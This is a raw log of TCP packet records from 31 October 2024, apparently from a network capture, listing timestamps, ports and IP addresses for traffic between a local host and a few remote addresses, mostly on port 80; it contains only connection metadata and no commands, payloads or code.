Oct 31, 2024 09:07:07.896735907 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.896800995 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.896827936 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901138067 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901197910 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901231050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901242971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901269913 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901288033 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901424885 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901437998 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901470900 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901660919 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901704073 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901843071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901894093 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.901923895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.901966095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902050972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902064085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902098894 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902260065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902302980 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902354002 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902398109 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902476072 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902486086 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902522087 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902620077 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902631998 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902642965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902656078 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.902667046 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.902693033 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.903095007 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903106928 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903117895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903127909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903141975 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.903270960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.903402090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903446913 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.903476954 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.903516054 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.019653082 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.019707918 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.019721985 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.019728899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.019758940 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.019773006 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.020005941 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020020008 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020032883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020057917 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.020092010 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.020376921 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020421028 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.020440102 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020454884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020467997 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.020494938 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.020513058 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021011114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021023989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021048069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021056890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021061897 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021075964 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021078110 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021101952 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021116018 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021728039 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021742105 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021753073 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021765947 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021780014 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021780014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.021804094 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.021819115 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.022413969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.022428036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.022443056 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.022459030 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.022483110 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.130816936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.130886078 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.130896091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.130920887 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.131047010 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.131056070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.131069899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.131108999 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.135346889 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.135395050 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.135440111 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.135451078 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.135493040 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.135608912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.135622025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.135659933 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136019945 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136065006 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136097908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136109114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136142015 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136261940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136274099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136312008 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136399984 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136445999 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136543989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136554956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136562109 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136569023 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136596918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136621952 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136835098 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136847973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136858940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.136883020 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.136908054 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.137070894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137084007 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137094975 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137119055 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.137140989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.137373924 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137387991 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137399912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137419939 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.137449980 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.137690067 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137703896 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.137734890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.247858047 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.247951031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.247955084 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.247967958 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.248092890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.248188972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.248236895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252397060 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252445936 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252477884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252490044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252527952 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252638102 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252650976 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252680063 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252710104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252846956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252857924 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.252893925 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.252916098 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253037930 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253082991 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253134966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253145933 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253180027 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253276110 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253288031 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253300905 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253312111 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253325939 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253353119 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253675938 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253720045 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253787994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253798962 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253834009 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.253969908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253983021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.253993988 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254009962 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254019022 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.254045010 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.254326105 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254338980 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254349947 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254374981 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.254386902 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.254626036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254637957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254648924 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.254673958 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.254700899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.282710075 CET	49673	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:07:08.283880949 CET	49674	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:07:08.350939035 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:08.350969076 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:08.351043940 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:08.351332903 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:08.351345062 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:08.364981890 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365037918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.365125895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365144968 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365170956 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.365185976 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.365340948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365353107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365362883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.365386963 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.365411997 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.369503021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.369554996 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.369565010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.369575977 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.369596958 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.369610071 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.369746923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.369759083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.369795084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370052099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370098114 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370131016 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370142937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370174885 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370367050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370378971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370414019 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370573997 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370584965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370592117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370621920 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370634079 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370826006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370840073 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370851994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370865107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.370872021 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.370899916 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.371268988 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371282101 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371293068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371304989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371319056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.371331930 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.371356010 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.371659040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371671915 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371684074 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371695042 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.371707916 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.371732950 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.482245922 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482260942 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482392073 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482407093 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482458115 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.482496977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.482562065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482619047 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.482665062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.482716084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.486567020 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.486637115 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.486671925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.486722946 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.486797094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.486809015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.486850977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.486994028 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487005949 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487041950 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487070084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487155914 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487198114 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487303019 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487344027 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487361908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487375021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487387896 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487406969 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487426996 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487675905 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487799883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487818003 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487858057 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487900972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487911940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487921953 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487932920 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.487947941 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487962008 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.487993956 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488229036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488266945 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488326073 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488337994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488347054 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488369942 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488404036 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488589048 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488600969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488611937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488624096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.488634109 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488653898 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488679886 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.488993883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.489038944 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.532485962 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.532556057 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.532557011 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.532568932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.532594919 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.532612085 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.579603910 CET	49672	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:07:08.599272966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.599325895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.599344969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.599359035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.599386930 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.599416971 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.599633932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.599652052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.599677086 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.599689007 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.603733063 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.603781939 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.603818893 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.603832006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.603866100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.603880882 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604109049 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604120970 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604152918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604166985 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604319096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604360104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604454994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604466915 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604495049 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604509115 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604597092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604609966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604619980 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604643106 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604669094 CET	49709	80	192.168.2.6	45.88.105.105
